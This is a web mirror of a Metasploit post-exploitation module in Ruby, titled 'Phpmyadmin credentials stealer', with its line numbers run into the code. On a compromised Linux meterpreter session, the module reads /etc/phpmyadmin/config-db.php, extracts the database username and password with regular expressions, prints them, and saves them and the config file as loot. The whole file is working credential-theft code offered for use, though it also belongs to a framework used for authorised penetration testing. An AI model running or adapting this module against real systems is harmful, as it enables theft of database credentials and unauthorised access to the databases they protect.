Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/phpmyadmin_credsteal.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67include Msf::Post::File8include Msf::Post::Linux::Priv9include Msf::Post::Linux::System1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Phpmyadmin credentials stealer',16'Description' => %q{17This module gathers Phpmyadmin creds from target linux machine.18},19'License' => MSF_LICENSE,20'Platform' => ['linux'],21'SessionTypes' => ['meterpreter'],22'Author' => [23'Chaitanya Haritash [bofheaded]',24'Dhiraj Mishra <[email protected]>'25]26)27)28end2930def parse_creds(contents)31db_user = contents.scan(/\$dbuser\s*=\s*['"](.*)['"];/).flatten.first32db_pass = contents.scan(/\$dbpass\s*=\s*['"](.*)['"];/).flatten.first3334unless db_user && db_pass35print_error("Couldn't find PhpMyAdmin credentials")36return37end3839print_good("User: #{db_user}")40print_good("Password: #{db_pass}")4142print_status('Storing credentials...')43store_valid_credential(user: db_user, private: db_pass)44end4546def run47print_line("\nPhpMyAdmin Creds Stealer!\n")4849if session.platform.include?('windows')50print_error('This module is not compatible with windows')51return52end5354conf_path = '/etc/phpmyadmin/config-db.php'55unless file_exist?(conf_path)56print_error("#{conf_path} doesn't exist on target")57return58end5960print_good('PhpMyAdmin config found!')61res = read_file(conf_path)62unless res63print_error('You may not have permissions to read the file.')64return65end6667print_good('Extracting creds')68parse_creds(res)6970p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')71print_good("Config file located at #{p}")72end73end747576